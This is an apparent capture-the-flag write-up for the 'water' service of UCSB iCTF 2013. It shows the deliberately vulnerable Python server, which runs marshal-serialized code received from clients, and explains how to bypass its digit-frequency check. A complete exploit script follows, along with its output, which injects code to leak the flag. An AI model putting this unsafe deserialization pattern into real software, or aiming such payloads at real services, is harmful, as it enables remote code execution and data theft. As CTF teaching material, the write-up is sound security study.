UCSB iCTF 2013 write-up

Hint: flag is not a frag: once you've got it, you can get one more...

RDot.Org team hasn't managed to approve its affiliation with any academic institution in time, so, it hasn't participated in iCTF event. It has been attack-defence CTF with a bit strange system (teams had to post their exploits to the central system, which retrieved the flags from other participants. If exploit failed, there was no debug information) and a lot of network failures.
However, we've taken a look at some services. Here's a write-up on one of them, called "water".

Challenge consists of two python scripts:
1) WaterSystemServer.py
Код:
#!/usr/bin/env python

from socket import *
from MeasurementLib import *
import base64
import marshal
import thread
import types

flag = 'ololo' #This is supposed to be our flag
cookie = None
flag_id = None #This is a backdoor for the checking system

measurements = set([])

def connection_handler(clientsock,addr):
  try:
    clientsock.send("Welcome back. Please insert your measurement\n:")
    data = clientsock.recv(BUFSIZ)
    if not data: return
    r = calculate(data)
    if not r:
      if int(data.split(',')[-1]) == flag_id:
	clientsock.send("%s\n"%flag)
      clientsock.close()
    else:  
      if data in measurements:
	clientsock.send("Thanks, but we have already seen this measurement\n")
	clientsock.close()
      else:
	measurements.add(data)
	clientsock.send("Floods ahead! Please enter your command\n:")
	data = clientsock.recv(BUFSIZ)
	types.FunctionType(marshal.loads(base64.b64decode(data)), globals(), "callback")(clientsock)
	clientsock.close()
  except Exception as e: print e
  return

if __name__ == "__main__":
  
  HOST = "0.0.0.0"
  PORT = 3333
  BUFSIZ = 1024
  ADDR = (HOST, PORT)
  serversock = socket(AF_INET, SOCK_STREAM)
  serversock.bind(ADDR)
  serversock.listen(2)

  while True:
    clientsock, addr = serversock.accept()
    thread.start_new_thread(connection_handler, (clientsock, addr))
  serversock.close()
2) MeasurementLib.py
Код:
import math

def calculate(sequence):
  m = []
  for i in range(1,10):
    m.append(math.log10(1+1.0/i))

  nums = [x[0] for x in sequence.split(",")]

  o = {}

  for num in nums:
    if num in o:
      o[num] += 1
    else:
      o[num] = 1
  
  if len(o) != 9: return False

  else:
    for d in sorted(o):
      if not (float(o[d]) / sum([int(x) for x in o.values()]) >= m[int(d)-1] - 0.05 and float(o[d]) / sum([int(x) for x in o.values()]) <= m[int(d)-1] + 0.05):
	return False
  return True
First of all, we should somehow bypass this check:
Код:
    r = calculate(data)
    if not r:
What does calculate() do? It simply checks whether the frequency of occurrence of each symbol is in some interval.
Let's find the centers of these intervals:
Код:
>>> for i in range(1,10):
...     m.append(math.log10(1+1.0/i))
... 
>>> m
[0.3010299956639812, 0.17609125905568124, 0.12493873660829992, 0.09691001300805642, 0.07918124604762482, 0.06694678963061322, 0.05799194697768673, 0.05115252244738129, 0.04575749056067514]
>>> sum(m)
1.0
So, the task is to send about ~5% of "0" bytes, ~30% of "1" bytes, ~18% of "2" bytes, and so forth.
If such a set has been already posted to the daemon, we can a bit adjust the coefficients, still not breaking the bounds of intervals.
Once we've bypassed this check, the next step is to get the flag. We've got this line:
Код:
types.FunctionType(marshal.loads(base64.b64decode(data)), globals(), "callback")(clientsock)
It deserializes marshal-serialized function code and applies the obtained function to the variable cliensock.
So, we can serialize the code, which sends us a flag:
Код:
>>> x = lambda c: c.send( globals()[ 'flag' ] )
>>> p2 = marshal.dumps( x.__code__ ).encode( 'base64' ).replace( '\n', '' )
>>> p2
'YwEAAAABAAAAAwAAAEMAAABzFAAAAHwAAGoAAHQBAIMAAGQBABmDAQBTKAIAAABOdAQAAABmbGFnKAIAAAB0BAAAAHNlbmR0BwAAAGdsb2JhbHMoAQAAAHQBAAAAYygAAAAAKAAAAABzBwAAADxzdGRpbj50CAAAADxsYW1iZGE+AQAAAHMAAAAA'
Actually, exploit needed to be writen in the special form to be checked by checking system.
But I haven't participated in CTF, so, here's the whole out-of-CTF exploit code (without checking system backdoor handling):
exp.py
Код:
#!/usr/bin/python
import socket, marshal

qs = [ 5, 30, 18, 12, 9, 8, 7, 6, 5 ]
x = lambda c: c.send( globals()[ 'flag' ] )
p2 = marshal.dumps( x.__code__ ).encode( 'base64' ).replace( '\n', '' )

def doit( m ):
    s = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
    s.connect( ('localhost', 3333) )
    s.recv( 1024 )
    p1 = ''
    for i in xrange( 9 ):
        p1 += ('%s,' % i) * int( qs[ i ] * m )
    print 'Sending payload %s' % p1.rstrip( ',' )
    s.send( p1.rstrip( ',' ) + '\n' )
    ans = s.recv( 1024 )
    if 'have already' in ans:
        print 'We are not the first =( Trying again...'
        doit( int( m + 1 ) )
    print 'Ok, now sending payload %s' % p2
    s.send( p2 + '\n' )
    print 'W00t!\n%s' % s.recv( 1024 )

doit( 0.5 )
Launching an exploit:
Код:
$ python exp.py 
Sending payload 0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,4,4,4,4,5,5,5,5,6,6,6,7,7,7,8,8
Ok, now sending payload YwEAAAABAAAAAwAAAEMAAABzFAAAAHwAAGoAAHQBAIMAAGQBABmDAQBTKAIAAABOdAQAAABmbGFnKAIAAAB0BAAAAHNlbmR0BwAAAGdsb2JhbHMoAQAAAHQBAAAAYygAAAAAKAAAAABzBgAAAGV4cC5weXQIAAAAPGxhbWJkYT4FAAAAcwAAAAA=
W00t!
ololo